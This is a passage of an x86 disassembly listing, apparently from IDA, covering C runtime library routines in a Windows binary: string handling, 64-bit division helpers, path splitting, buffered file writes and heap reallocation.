mov [edi], dl
inc edi
dec ecx
jz short loc_416E60
test esi, 3
jnz short loc_416E30
mov ebx, ecx
shr ecx, 2
jnz short loc_416E7C
loc_416E4C: ; CODE XREF: sub_416DB0+7Ej
; sub_416DB0+CAj
mov ecx, ebx
and ecx, 3
jz short loc_416E60
loc_416E53: ; CODE XREF: sub_416DB0+AEj
mov dl, [esi]
inc esi
mov [edi], dl
inc edi
test dl, dl
jz short loc_416E62
dec ecx
jnz short loc_416E53
loc_416E60: ; CODE XREF: sub_416DB0+8Bj
; sub_416DB0+A1j
mov [edi], cl
loc_416E62: ; CODE XREF: sub_416DB0+ABj
pop ebx
pop esi
loc_416E64: ; CODE XREF: sub_416DB0+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_416E6A: ; CODE XREF: sub_416DB0+85j
; sub_416DB0+E8j
mov [edi], dl
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_416E74: ; CODE XREF: sub_416DB0+E4j
; sub_416DB0+FCj
mov [edi], edx
add edi, 4
dec ecx
jz short loc_416E4C
loc_416E7C: ; CODE XREF: sub_416DB0+7Cj
; sub_416DB0+9Aj
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_416E74
test dl, dl
jz short loc_416E6A
test dh, dh
jz short loc_416EC8
test edx, 0FF0000h
jz short loc_416EB8
test edx, 0FF000000h
jnz short loc_416E74
mov [edi], edx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_416EB8: ; CODE XREF: sub_416DB0+F4j
mov [edi], dx
xor edx, edx
mov eax, [esp+0Ch+arg_0]
mov [edi+2], dl
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_416EC8: ; CODE XREF: sub_416DB0+ECj
mov [edi], dx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_416DB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416EE0 proc near ; CODE XREF: sub_4071B6+2A2p
; sub_40CD3A+3012p ...
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push edi
mov edi, [ebp+arg_0]
xor eax, eax
or ecx, 0FFFFFFFFh
repne scasb
inc ecx
neg ecx
dec edi
mov al, [ebp+arg_4]
std
repne scasb
inc edi
cmp [edi], al
jz short loc_416F01
xor eax, eax
jmp short loc_416F03
; ---------------------------------------------------------------------------
loc_416F01: ; CODE XREF: sub_416EE0+1Bj
mov eax, edi
loc_416F03: ; CODE XREF: sub_416EE0+1Fj
cld
pop edi
leave
retn
sub_416EE0 endp
; ---------------------------------------------------------------------------
align 10h
; START OF FUNCTION CHUNK FOR sub_416F20
loc_416F10: ; CODE XREF: sub_416F20+1Dj
lea eax, [edx-1]
pop ebx
retn
; END OF FUNCTION CHUNK FOR sub_416F20
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_416F20 proc near ; CODE XREF: sub_408503+D9p
; sub_40CD3A+3F3p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
; FUNCTION CHUNK AT 00416F10 SIZE 00000005 BYTES
xor eax, eax
mov al, [esp+arg_4]
loc_416F26: ; CODE XREF: sub_4158E0+6Ej
push ebx
mov ebx, eax
shl eax, 8
mov edx, [esp+4+arg_0]
test edx, 3
jz short loc_416F4B
loc_416F38: ; CODE XREF: sub_416F20+29j
mov cl, [edx]
inc edx
cmp cl, bl
jz short loc_416F10
test cl, cl
jz short loc_416F94
test edx, 3
jnz short loc_416F38
loc_416F4B: ; CODE XREF: sub_416F20+16j
or ebx, eax
push edi
mov eax, ebx
shl ebx, 10h
push esi
or ebx, eax
loc_416F56: ; CODE XREF: sub_416F20+61j
; sub_416F20+70j ...
mov ecx, [edx]
mov edi, 7EFEFEFFh
mov eax, ecx
mov esi, edi
xor ecx, ebx
add esi, eax
add edi, ecx
xor ecx, 0FFFFFFFFh
xor eax, 0FFFFFFFFh
xor ecx, edi
xor eax, esi
add edx, 4
and ecx, 81010100h
jnz short loc_416F98
and eax, 81010100h
jz short loc_416F56
and eax, 1010100h
jnz short loc_416F92
and esi, 80000000h
jnz short loc_416F56
loc_416F92: ; CODE XREF: sub_416F20+68j
; sub_416F20+81j ...
pop esi
pop edi
loc_416F94: ; CODE XREF: sub_416F20+21j
pop ebx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_416F98: ; CODE XREF: sub_416F20+5Aj
mov eax, [edx-4]
cmp al, bl
jz short loc_416FD5
test al, al
jz short loc_416F92
cmp ah, bl
jz short loc_416FCE
test ah, ah
jz short loc_416F92
shr eax, 10h
cmp al, bl
jz short loc_416FC7
test al, al
jz short loc_416F92
cmp ah, bl
jz short loc_416FC0
test ah, ah
jz short loc_416F92
jmp short loc_416F56
; ---------------------------------------------------------------------------
loc_416FC0: ; CODE XREF: sub_416F20+98j
pop esi
pop edi
lea eax, [edx-1]
pop ebx
retn
; ---------------------------------------------------------------------------
loc_416FC7: ; CODE XREF: sub_416F20+90j
lea eax, [edx-2]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_416FCE: ; CODE XREF: sub_416F20+85j
lea eax, [edx-3]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_416FD5: ; CODE XREF: sub_416F20+7Dj
lea eax, [edx-4]
pop esi
pop edi
pop ebx
retn
sub_416F20 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416FDC proc near ; CODE XREF: sub_408503+C6p
; sub_40CD3A+43DFp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 0
push ebx
mov ebx, [ebp+arg_0]
push edi
mov edi, ebx
jg short loc_416FF0
xor eax, eax
jmp short loc_417026
; ---------------------------------------------------------------------------
loc_416FF0: ; CODE XREF: sub_416FDC+Ej
dec [ebp+arg_4]
push esi
jz short loc_417020
mov esi, [ebp+arg_8]
loc_416FF9: ; CODE XREF: sub_416FDC+42j
dec dword ptr [esi+4]
js short loc_417008
mov ecx, [esi]
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
jmp short loc_41700F
; ---------------------------------------------------------------------------
loc_417008: ; CODE XREF: sub_416FDC+20j
push esi
call sub_41C178
pop ecx
loc_41700F: ; CODE XREF: sub_416FDC+2Aj
cmp eax, 0FFFFFFFFh
jz short loc_41702A
mov [edi], al
inc edi
cmp al, 0Ah
jz short loc_417020
dec [ebp+arg_4]
jnz short loc_416FF9
loc_417020: ; CODE XREF: sub_416FDC+18j
; sub_416FDC+3Dj ...
and byte ptr [edi], 0
loc_417023: ; CODE XREF: sub_416FDC+55j
mov eax, ebx
pop esi
loc_417026: ; CODE XREF: sub_416FDC+12j
pop edi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41702A: ; CODE XREF: sub_416FDC+36j
cmp edi, [ebp+arg_0]
jnz short loc_417020
xor ebx, ebx
jmp short loc_417023
sub_416FDC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417033 proc near ; CODE XREF: sub_409A45+6p
; sub_409A63+48p ...
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_46BB9C, 0
push ebx
push esi
push edi
jnz short loc_417060
mov eax, [ebp+arg_0]
cmp eax, 41h
jl loc_4170F9
cmp eax, 5Ah
jg loc_4170F9
add eax, 20h
jmp loc_4170F9
; ---------------------------------------------------------------------------
loc_417060: ; CODE XREF: sub_417033+Ej
mov ebx, [ebp+arg_0]
mov edi, 100h
push 1
cmp ebx, edi
pop esi
jge short loc_417094
cmp dword_4385FC, esi
jle short loc_417082
push esi
push ebx
call sub_418576
pop ecx
pop ecx
jmp short loc_41708C
; ---------------------------------------------------------------------------
loc_417082: ; CODE XREF: sub_417033+42j
mov eax, off_4383F0
mov al, [eax+ebx*2]
and eax, esi
loc_41708C: ; CODE XREF: sub_417033+4Dj
test eax, eax
jnz short loc_417094
loc_417090: ; CODE XREF: sub_417033+ADj
mov eax, ebx
jmp short loc_4170F9
; ---------------------------------------------------------------------------
loc_417094: ; CODE XREF: sub_417033+3Aj
; sub_417033+5Bj
mov edx, off_4383F0
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_4170B8
and byte ptr [ebp+arg_0+2], 0
push 2
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
pop eax
jmp short loc_4170C1
; ---------------------------------------------------------------------------
loc_4170B8: ; CODE XREF: sub_417033+74j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
mov eax, esi
loc_4170C1: ; CODE XREF: sub_417033+83j
push esi
push 0
lea ecx, [ebp+var_4]
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push edi
push dword_46BB9C
call sub_41C639
add esp, 20h
test eax, eax
jz short loc_417090
cmp eax, esi
jnz short loc_4170EC
movzx eax, [ebp+var_4]
jmp short loc_4170F9
; ---------------------------------------------------------------------------
loc_4170EC: ; CODE XREF: sub_417033+B1j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_4170F9: ; CODE XREF: sub_417033+16j
; sub_417033+1Fj ...
pop edi
pop esi
pop ebx
leave
retn
sub_417033 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_417100 proc near ; CODE XREF: sub_40A922+3Dp
; sub_40C10D+2Dp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov eax, [esp+4+arg_C]
or eax, eax
jnz short loc_417121
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
xor edx, edx
div ecx
mov eax, [esp+4+arg_0]
div ecx
mov eax, edx
xor edx, edx
jmp short loc_417171
; ---------------------------------------------------------------------------
loc_417121: ; CODE XREF: sub_417100+7j
mov ecx, eax
mov ebx, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
mov eax, [esp+4+arg_0]
loc_41712F: ; CODE XREF: sub_417100+39j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_41712F
div ebx
mov ecx, eax
mul [esp+4+arg_C]
xchg eax, ecx
mul [esp+4+arg_8]
add edx, ecx
jb short loc_41715A
cmp edx, [esp+4+arg_4]
ja short loc_41715A
jb short loc_417162
cmp eax, [esp+4+arg_0]
jbe short loc_417162
loc_41715A: ; CODE XREF: sub_417100+4Aj
; sub_417100+50j
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
loc_417162: ; CODE XREF: sub_417100+52j
; sub_417100+58j
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
neg edx
neg eax
sbb edx, 0
loc_417171: ; CODE XREF: sub_417100+1Fj
pop ebx
retn 10h
sub_417100 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_417180 proc near ; CODE XREF: sub_40A922+24p
; sub_40C10D+3Fp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_C]
or eax, eax
jnz short loc_4171A2
mov ecx, [esp+8+arg_8]
mov eax, [esp+8+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_0]
div ecx
mov edx, ebx
jmp short loc_4171E3
; ---------------------------------------------------------------------------
loc_4171A2: ; CODE XREF: sub_417180+8j
mov ecx, eax
mov ebx, [esp+8+arg_8]
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
loc_4171B0: ; CODE XREF: sub_417180+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_4171B0
div ebx
mov esi, eax
mul [esp+8+arg_C]
mov ecx, eax
mov eax, [esp+8+arg_8]
mul esi
add edx, ecx
jb short loc_4171DE
cmp edx, [esp+8+arg_4]
ja short loc_4171DE
jb short loc_4171DF
cmp eax, [esp+8+arg_0]
jbe short loc_4171DF
loc_4171DE: ; CODE XREF: sub_417180+4Ej
; sub_417180+54j
dec esi
loc_4171DF: ; CODE XREF: sub_417180+56j
; sub_417180+5Cj
xor edx, edx
mov eax, esi
loc_4171E3: ; CODE XREF: sub_417180+20j
pop esi
pop ebx
retn 10h
sub_417180 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4171E8 proc near ; CODE XREF: sub_40A9D8+1E3p
; sub_40C574+104p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push ebx
call sub_415B10
cmp eax, 1
pop ecx
jb short loc_417223
cmp byte ptr [ebx+1], 3Ah
jnz short loc_417223
mov esi, [ebp+arg_4]
test esi, esi
jz short loc_41721F
push 2
push ebx
push esi
call sub_41CC3D
add esp, 0Ch
and byte ptr [esi+2], 0
loc_41721F: ; CODE XREF: sub_4171E8+25j
inc ebx
inc ebx
jmp short loc_41722D
; ---------------------------------------------------------------------------
loc_417223: ; CODE XREF: sub_4171E8+18j
; sub_4171E8+1Ej
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_41722D
and byte ptr [eax], 0
loc_41722D: ; CODE XREF: sub_4171E8+39j
; sub_4171E8+40j
and [ebp+arg_4], 0
cmp byte ptr [ebx], 0
mov eax, ebx
mov esi, 0FFh
mov [ebp+arg_0], eax
jz short loc_4172A5
loc_417240: ; CODE XREF: sub_4171E8+87j
mov cl, [eax]
movzx edx, cl
test byte_46D041[edx], 4
jz short loc_417251
inc eax
jmp short loc_41726B
; ---------------------------------------------------------------------------
loc_417251: ; CODE XREF: sub_4171E8+64j
cmp cl, 2Fh
jz short loc_417265
cmp cl, 5Ch
jz short loc_417265
cmp cl, 2Eh
jnz short loc_41726B
mov [ebp+var_4], eax
jmp short loc_41726B
; ---------------------------------------------------------------------------
loc_417265: ; CODE XREF: sub_4171E8+6Cj
; sub_4171E8+71j
lea ecx, [eax+1]
mov [ebp+arg_4], ecx
loc_41726B: ; CODE XREF: sub_4171E8+67j
; sub_4171E8+76j ...
inc eax
cmp byte ptr [eax], 0
jnz short loc_417240
mov edi, [ebp+arg_4]
mov [ebp+arg_0], eax
test edi, edi
jz short loc_4172A5
cmp [ebp+arg_8], 0
jz short loc_4172A0
sub edi, ebx
cmp edi, esi
jb short loc_417289
mov edi, esi
loc_417289: ; CODE XREF: sub_4171E8+9Dj
push edi
push ebx
push [ebp+arg_8]
call sub_41CC3D
mov eax, [ebp+arg_8]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_4172A0: ; CODE XREF: sub_4171E8+97j
mov ebx, [ebp+arg_4]
jmp short loc_4172AF
; ---------------------------------------------------------------------------
loc_4172A5: ; CODE XREF: sub_4171E8+56j
; sub_4171E8+91j
mov ecx, [ebp+arg_8]
test ecx, ecx
jz short loc_4172AF
and byte ptr [ecx], 0
loc_4172AF: ; CODE XREF: sub_4171E8+BBj
; sub_4171E8+C2j
mov edi, [ebp+var_4]
test edi, edi
jz short loc_417302
cmp edi, ebx
jb short loc_417302
cmp [ebp+arg_C], 0
jz short loc_4172DF
sub edi, ebx
cmp edi, esi
jb short loc_4172C8
mov edi, esi
loc_4172C8: ; CODE XREF: sub_4171E8+DCj
push edi
push ebx
push [ebp+arg_C]
call sub_41CC3D
mov eax, [ebp+arg_C]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_4172DF: ; CODE XREF: sub_4171E8+D6j
mov edi, [ebp+arg_10]
test edi, edi
jz short loc_41732A
sub eax, [ebp+var_4]
cmp eax, esi
jnb short loc_4172EF
mov esi, eax
loc_4172EF: ; CODE XREF: sub_4171E8+103j
push esi
push [ebp+var_4]
push edi
call sub_41CC3D
add esp, 0Ch
and byte ptr [esi+edi], 0
jmp short loc_41732A
; ---------------------------------------------------------------------------
loc_417302: ; CODE XREF: sub_4171E8+CCj
; sub_4171E8+D0j
mov edi, [ebp+arg_C]
test edi, edi
jz short loc_417320
sub eax, ebx
cmp eax, esi
jnb short loc_417311
mov esi, eax
loc_417311: ; CODE XREF: sub_4171E8+125j
push esi
push ebx
push edi
call sub_41CC3D
add esp, 0Ch
and byte ptr [esi+edi], 0
loc_417320: ; CODE XREF: sub_4171E8+11Fj
mov eax, [ebp+arg_10]
test eax, eax
jz short loc_41732A
and byte ptr [eax], 0
loc_41732A: ; CODE XREF: sub_4171E8+FCj
; sub_4171E8+118j ...
pop edi
pop esi
pop ebx
leave
retn
sub_4171E8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41732F proc near ; CODE XREF: sub_40B0EC+19p
; sub_412B8B+1Cp
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push [ebp+arg_C]
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
push [ebp+arg_8]
mov [ebp+var_1C], eax
lea eax, [ebp+var_20]
mov [ebp+var_14], 42h
push eax
call sub_417D6C
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41736D
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41737A
; ---------------------------------------------------------------------------
loc_41736D: ; CODE XREF: sub_41732F+34j
lea eax, [ebp+var_20]
push eax
push 0
call sub_417C57
pop ecx
pop ecx
loc_41737A: ; CODE XREF: sub_41732F+3Cj
mov eax, esi
pop esi
leave
retn
sub_41732F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41737F proc near ; CODE XREF: sub_40B363+2Cp
; sub_416663+35p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0
push ebx
push esi
push edi
jnz short loc_41739A
push [ebp+arg_4]
call sub_415BE9
pop ecx
jmp loc_41761A
; ---------------------------------------------------------------------------
loc_41739A: ; CODE XREF: sub_41737F+Bj
mov esi, [ebp+arg_4]
test esi, esi
jnz short loc_4173AF
push [ebp+arg_0]
call sub_415C9B
pop ecx
jmp loc_417618
; ---------------------------------------------------------------------------
loc_4173AF: ; CODE XREF: sub_41737F+20j
mov eax, dword_46D168
cmp eax, 3
jnz loc_4174BF
loc_4173BD: ; CODE XREF: sub_41737F+12Ej
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_41749B
push [ebp+arg_0]
call sub_418CBD
mov ebx, eax
pop ecx
test ebx, ebx
jz loc_417476
cmp esi, dword_46D160
ja short loc_41742F
mov edi, [ebp+arg_0]
push esi
push edi
push ebx
call sub_4194C6
add esp, 0Ch
test eax, eax
jnz short loc_41742B
push esi
call sub_419011
mov edi, eax
pop ecx
test edi, edi
jz short loc_41742F
mov ebx, [ebp+arg_0]
mov eax, [ebx-4]
dec eax
cmp eax, esi
jb short loc_41740F
mov eax, esi
loc_41740F: ; CODE XREF: sub_41737F+8Cj
push eax
push ebx
push edi
call sub_4153F0
push ebx
call sub_418CBD
push [ebp+arg_0]
mov ebx, eax
push ebx
call sub_418CE8
add esp, 18h
loc_41742B: ; CODE XREF: sub_41737F+74j
test edi, edi
jnz short loc_417472
loc_41742F: ; CODE XREF: sub_41737F+62j
; sub_41737F+81j
test esi, esi
jnz short loc_417436
push 1
pop esi
loc_417436: ; CODE XREF: sub_41737F+B2j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push 0
push dword_46D164
call dword_42114C ; RtlAllocateHeap
mov edi, eax
test edi, edi
jz short loc_417472
mov ecx, [ebp+arg_0]
mov eax, [ecx-4]
dec eax
cmp eax, esi
jb short loc_41745E
mov eax, esi
loc_41745E: ; CODE XREF: sub_41737F+DBj
push eax
push ecx
push edi
call sub_4153F0
push [ebp+arg_0]
push ebx
call sub_418CE8
add esp, 14h
loc_417472: ; CODE XREF: sub_41737F+AEj
; sub_41737F+D0j
test ebx, ebx
jnz short loc_417497
loc_417476: ; CODE XREF: sub_41737F+56j
test esi, esi
jnz short loc_41747D
push 1
pop esi
loc_41747D: ; CODE XREF: sub_41737F+F9j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push [ebp+arg_0]
push 0
push dword_46D164
call dword_421160 ; RtlReAllocateHeap
mov edi, eax
loc_417497: ; CODE XREF: sub_41737F+F5j
test edi, edi
jnz short loc_4174B8
loc_41749B: ; CODE XREF: sub_41737F+43j
cmp dword_46BB64, 0
jz short loc_4174B8
push esi
call sub_418A88
test eax, eax
pop ecx
jnz loc_4173BD
jmp loc_417618
; ---------------------------------------------------------------------------
loc_4174B8: ; CODE XREF: sub_41737F+11Aj
; sub_41737F+123j ...
mov eax, edi
jmp loc_41761A
; ---------------------------------------------------------------------------
loc_4174BF: ; CODE XREF: sub_41737F+38j
cmp eax, 2
jnz loc_4175DA
cmp esi, 0FFFFFFE0h
ja short loc_4174DC
test esi, esi
jbe short loc_4174D9
add esi, 0Fh
and esi, 0FFFFFFF0h
jmp short loc_4174DC
; ---------------------------------------------------------------------------
loc_4174D9: ; CODE XREF: sub_41737F+150j
push 10h
pop esi
loc_4174DC: ; CODE XREF: sub_41737F+14Cj
; sub_41737F+158j ...
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_4175BC
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_4]
push eax
push [ebp+arg_0]
call sub_419A18
mov ebx, eax
add esp, 0Ch
test ebx, ebx
jz loc_4175A0
cmp esi, dword_43A634
jnb short loc_417564
mov edi, esi
shr edi, 4
push edi
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_419DE0
add esp, 10h
test eax, eax
jz short loc_41752A
mov edi, [ebp+arg_0]
jmp short loc_41755C
; ---------------------------------------------------------------------------
loc_41752A: ; CODE XREF: sub_41737F+1A4j
push edi
call sub_419AB4
mov edi, eax
pop ecx
test edi, edi
jz short loc_417564
movzx eax, byte ptr [ebx]
shl eax, 4
cmp eax, esi
jb short loc_417543
mov eax, esi
loc_417543: ; CODE XREF: sub_41737F+1C0j
push eax
push [ebp+arg_0]
push edi
call sub_4153F0
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_419A6F
add esp, 18h
loc_41755C: ; CODE XREF: sub_41737F+1A9j
test edi, edi
jnz loc_4174B8
loc_417564: ; CODE XREF: sub_41737F+18Bj
; sub_41737F+1B6j
push esi
push 0
push dword_46D164
call dword_42114C ; RtlAllocateHeap
mov edi, eax
test edi, edi
jz short loc_4175BC
movzx eax, byte ptr [ebx]
shl eax, 4
cmp eax, esi
jb short loc_417585
mov eax, esi
loc_417585: ; CODE XREF: sub_41737F+202j
push eax
push [ebp+arg_0]
push edi
call sub_4153F0
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_419A6F
add esp, 18h
jmp short loc_4175B4
; ---------------------------------------------------------------------------
loc_4175A0: ; CODE XREF: sub_41737F+17Fj
push esi
push [ebp+arg_0]
push 0
push dword_46D164
call dword_421160 ; RtlReAllocateHeap
mov edi, eax
loc_4175B4: ; CODE XREF: sub_41737F+21Fj
test edi, edi
jnz loc_4174B8
loc_4175BC: ; CODE XREF: sub_41737F+162j
; sub_41737F+1F8j
cmp dword_46BB64, 0
jz loc_4174B8
push esi
call sub_418A88
test eax, eax
pop ecx
jnz loc_4174DC
jmp short loc_417618
; ---------------------------------------------------------------------------
loc_4175DA: ; CODE XREF: sub_41737F+143j
; sub_41737F+297j
xor eax, eax
cmp esi, 0FFFFFFE0h
ja short loc_417604
test esi, esi
jnz short loc_4175E8
push 1
pop esi
loc_4175E8: ; CODE XREF: sub_41737F+264j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push [ebp+arg_0]
push 0
push dword_46D164
call dword_421160 ; RtlReAllocateHeap
test eax, eax
jnz short loc_41761A
loc_417604: ; CODE XREF: sub_41737F+260j
cmp dword_46BB64, 0
jz short loc_41761A
push esi
call sub_418A88
test eax, eax
pop ecx
jnz short loc_4175DA
loc_417618: ; CODE XREF: sub_41737F+2Bj
; sub_41737F+134j ...
xor eax, eax
loc_41761A: ; CODE XREF: sub_41737F+16j
; sub_41737F+13Bj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41737F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41761F proc near ; CODE XREF: sub_40B9BC+127p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
test edi, edi
mov [ebp+arg_0], eax
mov ebx, edi
jnz short loc_417643
xor eax, eax
jmp loc_417710
; ---------------------------------------------------------------------------
loc_417643: ; CODE XREF: sub_41761F+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_417656
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_41765D
; ---------------------------------------------------------------------------
loc_417656: ; CODE XREF: sub_41761F+2Dj
mov [ebp+arg_C], 1000h
loc_41765D: ; CODE XREF: sub_41761F+35j
; sub_41761F+E8j
mov ecx, [esi+0Ch]
and ecx, 108h
jz short loc_417691
mov eax, [esi+4]
test eax, eax
jz short loc_417691
cmp ebx, eax
mov edi, ebx
jb short loc_417677
mov edi, eax
loc_417677: ; CODE XREF: sub_41761F+54j
push edi
push [ebp+arg_0]
push dword ptr [esi]
call sub_4153F0
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
sub ebx, edi
add [ebp+arg_0], edi
jmp short loc_4176D7
; ---------------------------------------------------------------------------
loc_417691: ; CODE XREF: sub_41761F+47j
; sub_41761F+4Ej
cmp ebx, [ebp+arg_C]
jb short loc_4176DC
test ecx, ecx
jz short loc_4176A5
push esi
call sub_418704
test eax, eax
pop ecx
jnz short loc_41771E
loc_4176A5: ; CODE XREF: sub_41761F+79j
cmp [ebp+arg_C], 0
jz short loc_4176B8
mov eax, ebx
xor edx, edx
div [ebp+arg_C]
mov edi, ebx
sub edi, edx
jmp short loc_4176BA
; ---------------------------------------------------------------------------
loc_4176B8: ; CODE XREF: sub_41761F+8Aj
mov edi, ebx
loc_4176BA: ; CODE XREF: sub_41761F+97j
push edi
push [ebp+arg_0]
push dword ptr [esi+10h]
call sub_41CCC7
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_417715
add [ebp+arg_0], eax
sub ebx, eax
cmp eax, edi
jb short loc_417715
loc_4176D7: ; CODE XREF: sub_41761F+70j
mov edi, [ebp+var_4]
jmp short loc_417705
; ---------------------------------------------------------------------------
loc_4176DC: ; CODE XREF: sub_41761F+75j
mov eax, [ebp+arg_0]
push esi
movsx eax, byte ptr [eax]
push eax
call sub_417C57
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41771E
inc [ebp+arg_0]
mov eax, [esi+18h]
dec ebx
mov [ebp+arg_C], eax
test eax, eax
jg short loc_417705
mov [ebp+arg_C], 1
loc_417705: ; CODE XREF: sub_41761F+BBj
; sub_41761F+DDj
test ebx, ebx
jnz loc_41765D
mov eax, [ebp+arg_8]
loc_417710: ; CODE XREF: sub_41761F+1Fj
; sub_41761F+108j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_417715: ; CODE XREF: sub_41761F+ADj
; sub_41761F+B6j
or dword ptr [esi+0Ch], 20h
mov eax, [ebp+var_4]
jmp short loc_417720
; ---------------------------------------------------------------------------
loc_41771E: ; CODE XREF: sub_41761F+84j
; sub_41761F+CFj
mov eax, edi
loc_417720: ; CODE XREF: sub_41761F+FDj
sub eax, ebx
xor edx, edx
div [ebp+arg_4]
jmp short loc_417710
sub_41761F endp
; =============== S U B R O U T I N E =======================================
sub_417729 proc near ; CODE XREF: sub_40C0F3+8p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push [esp+arg_0]
call dword_421094 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jnz short loc_417749
call dword_421088 ; RtlGetLastWin32Error
push eax
call sub_41CE74
pop ecx
loc_417745: ; CODE XREF: sub_417729+3Fj
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_417749: ; CODE XREF: sub_417729+Dj
test al, 1
jz short loc_41776A
test [esp+arg_4], 2
jz short loc_41776A
mov dword_46BB04, 0Dh
mov dword_46BB08, 5
jmp short loc_417745
; ---------------------------------------------------------------------------
loc_41776A: ; CODE XREF: sub_417729+22j
; sub_417729+29j
xor eax, eax
retn
sub_417729 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_417770 proc near ; CODE XREF: sub_40C21C+5Fp
; sub_40C21C+90p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
